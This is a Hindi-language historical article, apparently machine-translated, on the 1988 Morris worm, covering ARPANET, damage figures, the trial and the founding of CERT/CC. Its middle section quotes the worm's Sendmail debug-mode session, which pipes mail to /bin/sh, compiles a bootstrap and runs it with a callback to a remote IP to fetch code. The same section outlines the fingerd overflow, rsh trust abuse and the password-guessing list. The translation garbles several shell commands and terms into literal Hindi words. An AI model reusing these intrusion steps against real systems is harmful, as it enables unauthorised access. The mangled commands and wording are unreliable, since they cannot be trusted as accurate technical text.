मॉरिस वर्म - वह पहले था

2 नवंबर, 1988 को, ARPANET नेटवर्क पर एक प्रोग्राम द्वारा हमला किया गया था, जिसे बाद में मॉरिस वर्म के रूप में जाना गया - इसका निर्माता, कॉर्नेल विश्वविद्यालय के छात्र रॉबर्ट मॉरिस जूनियर के नाम पर रखा गया। ARPANET (एडवांस्ड रिसर्च प्रोजेक्ट्स एजेंसी नेटवर्क) 1969 में अमेरिकी रक्षा विभाग (DARPA, डिफेंस एडवांस्ड रिसर्च प्रोजेक्ट्स एजेंसी) के उन्नत अध्ययन विभाग की पहल पर बनाया गया था और इंटरनेट का प्रोटोटाइप था। यह नेटवर्क मैसेजिंग के लिए कंप्यूटर इंजीनियरिंग और प्रौद्योगिकी के क्षेत्र में शोधकर्ताओं के हितों में बनाया गया था, साथ ही सबसे बड़े अनुसंधान केंद्रों, प्रयोगशालाओं, विश्वविद्यालयों, सरकारी संगठनों और निजी फर्मों के बीच कार्यक्रम और डेटा सरणियां हैं जो अमेरिकी रक्षा विभाग (डीओडी), रक्षा विभाग के हितों में काम करते हैं। संयुक्त राज्य अमेरिका के)। DoD के आदेश के तहत OSI मॉडल के तीन सबसे सामान्य ट्रांसपोर्ट लेयर प्रोटोकॉल में से एक को विकसित किया गया था, जिसे TCP / IP कहा जाता था, जो 1983 में ARPANET में मुख्य बन गया। 80 के दशक के अंत तक, नेटवर्क ने कई दसियों हजारों कंप्यूटरों को कुल बनाया। जून 1990 में ARPANET का अस्तित्व समाप्त हो गया।
"मॉरिस वर्म" कंप्यूटर प्रौद्योगिकी के विकास के इतिहास में मैलवेयर का पहला उदाहरण था जो नेटवर्क पर स्वचालित वितरण तंत्र का उपयोग करता था। ऐसा करने के लिए, नेटवर्क सेवाओं की कई कमजोरियों का उपयोग किया गया था, साथ ही उस समय सुरक्षा मुद्दों पर अपर्याप्त ध्यान देने के कारण कंप्यूटर सिस्टम में कुछ कमजोरियां थीं।

रॉबर्ट मॉरिस के अनुसार, कीड़ा अनुसंधान उद्देश्यों के लिए बनाया गया था। इसके कोड में कोई "पेलोड" (विनाशकारी कार्य) नहीं था। फिर भी, ऑपरेशन एल्गोरिदम में त्रुटियों के कारण, कृमि के प्रसार ने तथाकथित "सेवा से वंचित" को उकसाया जब कंप्यूटर कृमि की कई प्रतियां बनाने में व्यस्त थे और ऑपरेटर आदेशों का जवाब देना बंद कर दिया। मॉरिस वर्म ने व्यावहारिक रूप से ARPANET नेटवर्क पर पांच दिनों तक कंप्यूटर के संचालन को पंगु बना दिया। डाउनटाइम का आकलन - कम से कम 8 मिलियन घंटे और 1 मिलियन घंटे से अधिक का समय रीस्टोरिंग सिस्टम पर खर्च होता है। मौद्रिक संदर्भ में कुल नुकसान 98 मिलियन डॉलर का अनुमान लगाया गया था, वे उनके प्रत्यक्ष और अप्रत्यक्ष नुकसान की राशि थे।
प्रत्यक्ष नुकसान में शामिल ($ 32 मिलियन):
42700 मशीनों को रोकना, परीक्षण करना और रिबूट करना;
कृमि पहचान, विलोपन, स्मृति की सफाई और 6200 मशीनों के स्वास्थ्य की बहाली;
कृमि कोड विश्लेषण, डिसआर्डर और प्रलेखन;
यूनिक्स प्रणाली की मरम्मत और परीक्षण।
अप्रत्यक्ष नुकसान में शामिल ($ 66 मिलियन):
नेटवर्क तक पहुंच की कमी के कारण कंप्यूटर समय की हानि;
नेटवर्क तक उपयोगकर्ता की पहुंच का नुकसान।
हालांकि, इन अनुमानों को बहुत सावधानी से लिया जाना चाहिए।
संरचनात्मक रूप से, कृमि में तीन भाग होते थे - "सिर" और दो "पूंछ"। "हेड" सी सोर्स कोड (99 लाइनें) था और इसे सीधे रिमोट मशीन पर संकलित किया गया था। "पूंछ" स्रोत कोड और एल्गोरिदम, बाइनरी फ़ाइलों के संदर्भ में समान थे, लेकिन विभिन्न प्रकार के आर्किटेक्चर के लिए संकलित किए गए थे। मॉरिस के अनुसार, VAX और SUN को लक्ष्य हार्डवेयर प्लेटफार्मों के रूप में चुना गया था। "सिर" को निम्नलिखित विधियों का उपयोग करके डाला गया था:

• Sendmail में डिबग मोड का उपयोग;
• उंगली नेटवर्क सेवा में एक बफर अतिप्रवाह भेद्यता का शोषण;
• कार्यक्रमों के दूरस्थ निष्पादन के लिए लॉगिन और पासवर्ड का चयन (rexec);
• उपयोगकर्ता नाम और पासवर्ड का चयन करके या ट्रस्ट तंत्र का उपयोग करके दूरस्थ शेल (rsh) को कॉल करना।

Sendmail सबसे पुरानी नेटवर्क सेवा है जो मेल रिसेप्शन और SMTP के माध्यम से भेजने की प्रक्रिया करती है। कृमि के प्रसार के दौरान, सेंडमेल में एक अनैच्छिक सुविधा थी - डेवलपर्स ने एक डिबग मोड को प्रोग्राम किया जो प्रोग्राम के कार्यशील संस्करण में नहीं होना चाहिए था और गलती से छोड़ दिया गया था। डिबग मोड की एक विशेषता यह थी कि मेल संदेश को स्वयं Sendmail द्वारा संसाधित नहीं किया गया था, लेकिन किसी अन्य प्रोग्राम द्वारा। कृमि द्वारा भेजे गए संदेश का उदाहरण:
डिबग
मेल से: </ dev / null>
rcptto: <"| sed-e '1, / ^ $ / d' | / bin / sh; बाहर निकलें 0"
डेटा
सीडी / यूएसआर / टीएमपी
बिल्ली> x14481910.s << 'EOF' के साथ
<कार्यक्रम पाठ l1.c>
EOF
cc -o x14481910 x14481910.s; x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
।
छोड़ना
जैसा कि आप देख सकते हैं, हेडर को अक्षर के शरीर से हटा दिया गया था (sed टेक्स्ट प्रीप्रोसेसर का उपयोग करके) और "हेड" सोर्स कोड फ़ाइल को सहेजा गया था। इसके अलावा, कमांड प्रोसेसर को "हेड" कोड संकलित करने के निर्देश दिए गए थे, जिसके परिणामस्वरूप निष्पादन योग्य फ़ाइल लॉन्च करें, और अस्थायी फ़ाइलों को मिटा दें।
फ़िंगरड सेवा भेद्यता का फायदा उठाने के लिए, कृमि ने 536 बाइट्स की एक विशेष रूप से तैयार स्ट्रिंग को प्रेषित किया, जिसे अंततः निष्पादित फ़ंक्शन ("/ बिन / श", 0, 0) कहा जाता है। यह केवल वैक्स कंप्यूटरों के लिए काम करता है जिसमें 4.3BSD OS स्थापित है, सनोस आधारित SUN कंप्यूटरों पर यह भेद्यता नहीं पाई गई।
Rexec और rsh के माध्यम से वितरण विधि का उपयोग करने के लिए, स्थानीय मशीन पर उपयोगकर्ताओं की एक सूची एकत्र की गई थी। इसके आधार पर, सबसे अधिक बार उपयोग किए जाने वाले पासवर्ड का चयन किया गया था, इस उम्मीद में कि कई उपयोगकर्ताओं के नेटवर्क पर सभी मशीनों पर समान नाम और पासवर्ड हैं, जो, हालांकि, सच्चाई से बहुत दूर नहीं थे। Rsh में चयन के अलावा, एक ट्रस्ट तंत्र का उपयोग किया गया था, या रिमोट मशीन के आईपी पते द्वारा सरलीकृत प्रमाणीकरण के लिए एक अन्य तंत्र। इस तरह के पते /etc/hosts.equiv और .rhosts फ़ाइलों में संग्रहीत किए गए थे। अधिकांश कंप्यूटरों के लिए, विश्वास पारस्परिक था, इसलिए उच्च संभावना के साथ, कृमि द्वारा पाए गए इन फाइलों से आईपी पते की एक सूची ने पासवर्ड का उपयोग किए बिना rsh के माध्यम से दूरस्थ प्रणाली में प्रवेश करना संभव बना दिया।
कृमि का चयन करते समय, मैंने निम्नलिखित पासवर्ड विकल्पों की कोशिश की:

• खाली;
• उपयोगकर्ता नाम (उपयोगकर्ता);
• रिवर्स उपयोगकर्ता नाम (resu);
• डुप्लिकेट उपयोगकर्ता नाम (उपयोगकर्ता);
• उपयोगकर्ता का पहला या अंतिम नाम (जॉन, स्मिथ);
• उपयोगकर्ता नाम या निचली स्थिति में उपनाम (जॉन, स्मिथ);
• 432 शब्दों के अंतर्निहित शब्दकोश;
• फ़ाइल / usr / तानाशाह / शब्द, जिसमें लगभग 24,000 शब्द हैं और एक वर्तनी शब्दकोश के रूप में 4.3BSD सिस्टम (और अन्य) में उपयोग किया जाता है। यदि शब्द एक कैपिटल लेटर से शुरू होता है, तो कम केस लेटर वाले वेरिएंट को भी चेक किया गया था।

कई वितरण विधियों के संयुक्त उपयोग ने नेटवर्क पर कृमि के बड़े पैमाने पर वितरण को प्रभावित किया है। दूरस्थ कंप्यूटरों की खोज के लिए, रूट टेबल और संक्रमित सिस्टम के स्वयं के आईपी पते की जानकारी के आधार पर एक नेटवर्क स्कैन किया गया था।
कृमि ने कंप्यूटर प्रशासकों के लिए इसे पहचानना मुश्किल बनाने के लिए कई तरकीबों का इस्तेमाल किया:

• लॉन्च के बाद अपनी निष्पादन योग्य फ़ाइल हटाएं;
• सभी त्रुटि संदेश अक्षम कर दिए गए थे, और क्रैश डंप का आकार शून्य पर सेट किया गया था;
• कृमि की निष्पादन योग्य फ़ाइल को नाम श के तहत बचाया गया था, उसी नाम का उपयोग बॉर्न शेल शेल द्वारा किया गया था, इसलिए कीड़ा प्रक्रियाओं की सूची में नकाब लगाया गया था;
• लगभग हर तीन मिनट में एक बच्चा धागा उत्पन्न होता था, और माता-पिता को समाप्त कर दिया गया था, जबकि कृमि की प्रक्रिया का आकार लगातार बदल रहा था और प्रक्रिया सूची में दिखाया गया चल समय रीसेट हो गया था;
• सभी पाठ तार xor 81h ऑपरेशन का उपयोग करके एन्कोड किए गए थे।

विचार की "भव्यता" के बावजूद, कृमि की इसमें कुछ त्रुटियां थीं, डिजाइन और कार्यान्वयन दोनों। यह जांचने के लिए गलत तरीके से लागू किया गया एल्गोरिदम है कि क्या सिस्टम पहले से ही संक्रमित है, जिसके कारण नेटवर्क पर कृमि का व्यापक वितरण हुआ, इसके लेखक के विचार के विपरीत। व्यवहार में, कंप्यूटर कई बार संक्रमित होते थे, जो सबसे पहले, संसाधनों की तेजी से थकावट का कारण बनता था, और दूसरी बात, नेटवर्क पर कृमि जैसे फैलने वाले हिमस्खलन का योगदान था। कुछ अनुमानों के अनुसार, मॉरिस कृमि ने लगभग 6,200 कंप्यूटरों को संक्रमित किया। डेवलपर ने खुद अपने कृत्य के परिणामों के पैमाने को महसूस करते हुए, अधिकारियों को स्वेच्छा से आत्मसमर्पण कर दिया और सब कुछ के बारे में बताया। उनके मामले की सुनवाई 22 जनवरी, 1990 को समाप्त हुई। शुरुआत में, मॉरिस को पांच साल की जेल और 25 हजार डॉलर के जुर्माने का सामना करना पड़ा। वास्तव में, सजा बल्कि मामूली थी, अदालत ने 400 घंटे की सामुदायिक सेवा, 10 हजार डॉलर का जुर्माना, तीन साल की सुनवाई अवधि और दोषी की निगरानी के साथ जुड़े खर्चों का भुगतान करने का आदेश दिया।
मॉरिस वर्म के साथ हुई घटना ने आईटी विशेषज्ञों को सुरक्षा के मुद्दों के बारे में गंभीरता से सोचने पर मजबूर कर दिया, विशेष रूप से, उसके बाद, सिस्टम की सुरक्षा को बढ़ाने के लिए, गलत पासवर्ड प्रविष्टि और / etc / छाया में पासवर्ड रखने के बाद ठहराव पेश किए गए, जहाँ उन्हें केवल-पढ़ने के लिए स्थानांतरित किया गया था। / etc / passwd फ़ाइल के सभी उपयोगकर्ता। लेकिन सबसे महत्वपूर्ण घटना नवंबर 1988 में सीईआरटी समन्वय केंद्र (सीईआरटी / सीसी) का निर्माण था, जिसकी गतिविधियां इंटरनेट सुरक्षा समस्याओं को हल करने से संबंधित हैं। दिसंबर 1988 में प्रदर्शित होने वाला पहला CERT सुरक्षा बुलेटिन कृमि द्वारा शोषित कमजोरियों की रिपोर्ट था। यह उल्लेखनीय है कि मॉरिस वर्म द्वारा उपयोग किए जाने वाले कई तकनीकी समाधान, जैसे पासवर्ड का उपयोग करना, रिमोट कंप्यूटर पर बूट लोडर कोड का संकलन करना * एनआईएक्स सिस्टम (स्लैपर), लक्ष्य का पता लगाने के लिए नेटवर्क को स्कैन करना आदि। उनका उपयोग आधुनिक मैलवेयर नमूनों में भी किया जाता है।
दिलचस्प है, 1988 में, प्रसिद्ध प्रोग्रामर पीटर नॉर्टन ने कंप्यूटर वायरस के अस्तित्व के बहुत तथ्य के खिलाफ प्रेस में तेजी से बात की, उन्हें "मिथक" कहा और इस विषय के चारों ओर शोर की तुलना "न्यूयॉर्क के सीवरों में रहने वाले मगरमच्छों के बारे में कहानियों" के साथ की। नॉर्टन के बयान के ठीक दो साल बाद, 1990 में, नॉर्टन एंटीवायरस एंटीवायरस प्रोग्राम का पहला संस्करण जारी किया गया था।
और अंत में - 1988 में, मॉरिस वर्म के हमले से प्रभावित होकर, अमेरिकन कंप्यूटर इक्विपमेंट एसोसिएशन ने 30 नवंबर को अंतर्राष्ट्रीय सूचना सुरक्षा दिवस के रूप में घोषित किया, जिसे आज तक मनाया जाता है।